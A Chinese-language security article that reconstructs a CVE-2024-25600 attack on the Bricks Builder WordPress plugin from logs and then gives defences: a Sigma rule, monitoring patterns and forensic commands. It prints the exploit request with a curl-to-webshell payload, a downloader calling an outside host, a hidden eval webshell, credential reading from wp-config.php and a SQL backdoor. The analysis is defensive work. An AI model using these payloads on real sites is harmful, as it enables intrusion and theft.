从一次真实攻击日志看CVE-2024-25600:黑客如何利用Bricks Builder漏洞上传Webshell
从攻击日志拆解CVE-2024-25600:Bricks Builder漏洞的实战利用与防御
当安全团队的告警系统在凌晨3点17分突然亮起红色警报时,屏幕上跳出的是一条看似普通的WordPress REST API请求。但正是这条隐藏在正常流量中的异常请求,触发了Bricks Builder插件中一个鲜为人知的代码执行漏洞——CVE-2024-25600。本文将基于真实攻击日志,还原黑客如何通过四层精心设计的攻击链,最终在目标服务器上植入Webshell的全过程。
1. 漏洞背景与攻击入口分析
CVE-2024-25600之所以被评定为CVSS 9.8分的高危漏洞,核心在于它打破了现代Web应用的三大安全假设:身份验证、输入过滤和最小权限原则。这个存在于Bricks Builder插件(版本<1.9.6.1)中的缺陷,允许攻击者通过WordPress默认开放的REST API端点/wp-json/bricks/v1/render_element实现远程代码执行。
典型攻击日志特征:
POST /wp-json/bricks/v1/render_element HTTP/1.1 Host: victim.com Content-Type: application/json { "element": { "name": "container", "settings": { "query": { "useQueryEditor": "true", "queryEditor": "system('curl malware.com/shell.txt -o wp-content/uploads/shell.php');" } } } }从日志中可以看到几个关键攻击特征:
- 请求路径指向Bricks Builder的API端点
element.name强制设置为"container"以触发特定类实例化queryEditor字段被注入恶意PHP代码- 缺少常规的nonce校验参数(早期利用版本可绕过)
2. 攻击链全流程拆解
2.1 漏洞探测阶段
攻击者通常采用"低噪声"探测策略,先发送合法格式但包含异常参数的请求,观察服务器响应。以下是从实际流量中提取的探测模式:
POST /wp-json/bricks/v1/render_element HTTP/1.1 ... { "postId": "1", "element": { "name": "container", "settings": { "query": { "objectType": "post" } } } }关键指标:
- 响应时间异常(>500ms可能表示动态代码解析)
- HTTP 500错误中包含特定栈追踪信息
- 返回的JSON中暴露插件版本号
2.2 漏洞利用阶段
成功识别脆弱系统后,攻击者会构造多阶段Payload。一个真实案例显示攻击者采用"代码分片"技术绕过基础防护:
// 第一阶段:环境检测 $f='cr'.'eate_fu'.'nction'; $f('','echo "PHP:".phpversion();'); // 第二阶段:下载器 file_put_contents( 'upgrade.php', file_get_contents('http://malware[.]xyz/get.php?id='.md5($_SERVER['HTTP_HOST'])) );日志中的蛛丝马迹:
- 异常的
base64_decode/create_function调用 - 对
wp-content/uploads目录的写操作 - 外部域名连接记录(通常伪装成CDN或云存储)
2.3 Webshell部署技术
现代攻击者倾向于使用"隐形Webshell",例如通过合法WordPress函数隐藏恶意代码:
add_action('wp_head', function(){ if(isset($_GET['debug']) && md5($_GET['debug'])==='d077f...'){ @eval($_POST['cmd']); } });检测难点:
- 代码存储在数据库而非文件系统
- 利用WordPress原生钩子实现持久化
- 需要特定参数触发(难以通过静态扫描发现)
2.4 持久化与横向移动
攻击日志显示,成功植入Webshell后,攻击者通常会执行以下操作序列:
权限提升:
chmod 777 wp-config.php数据库凭据窃取:
echo file_get_contents('wp-config.php');插件后门植入:
UPDATE wp_options SET option_value=CONCAT(option_value,'<?php eval(...);?>') WHERE option_name='active_plugins';
3. 防御体系构建实战
3.1 关键日志监控点
| 日志类型 | 监控字段 | 危险值模式 |
|---|---|---|
| Apache/Nginx | POST请求体 | queryEditor=system( |
| WordPress | _error_log | eval()'d code |
| PHP-FPM | 执行时间 | >1000ms的/wp-json请求 |
| 文件监控 | wp-content/uploads | *.php文件创建 |
3.2 Sigma检测规则示例
title: Bricks Builder RCE Attempt logsource: product: wordpress detection: selection: request.method: POST request.uri: "/wp-json/bricks/v1/render_element" request.body: - "*queryEditor*" - "*.system(*" - "*eval(*" condition: selection fields: - client.ip - request.body3.3 应急响应 checklist
立即隔离:
- 禁用
/wp-json/bricks/v1/render_element端点 - 重置所有API密钥和nonce
- 禁用
取证分析:
# 查找最近修改的PHP文件 find wp-content/ -name "*.php" -mtime -3 -ls # 检查数据库可疑代码 wp db query "SELECT * FROM wp_options WHERE option_value LIKE '%eval(%'"彻底修复:
- 升级Bricks Builder至1.9.6.1+版本
- 实施WAF规则拦截异常参数组合
4. 高级威胁狩猎技巧
在分析某次真实攻击时,我们发现攻击者使用WordPress的transient API隐藏C2通信:
// 攻击者代码 set_transient('wp_update_check', base64_encode('http://c2[.]com/'.$_SERVER['HTTP_HOST']), 86400); // 防御者检测命令 wp transient list --format=json | jq '.[] | select(.value|test("aHR0"))'异常模式识别:
- 异常的base64编码transient数据
- 定时任务调用
wp-cron.php的频率突变 - 存在
eval/assert但无对应插件代码
在某个客户案例中,攻击者甚至利用漏洞在WordPress的图片元数据中隐藏Payload,通过以下命令可检测此类高级威胁:
exiftool -php wp-content/uploads/* | grep -E 'eval|system|shell_exec'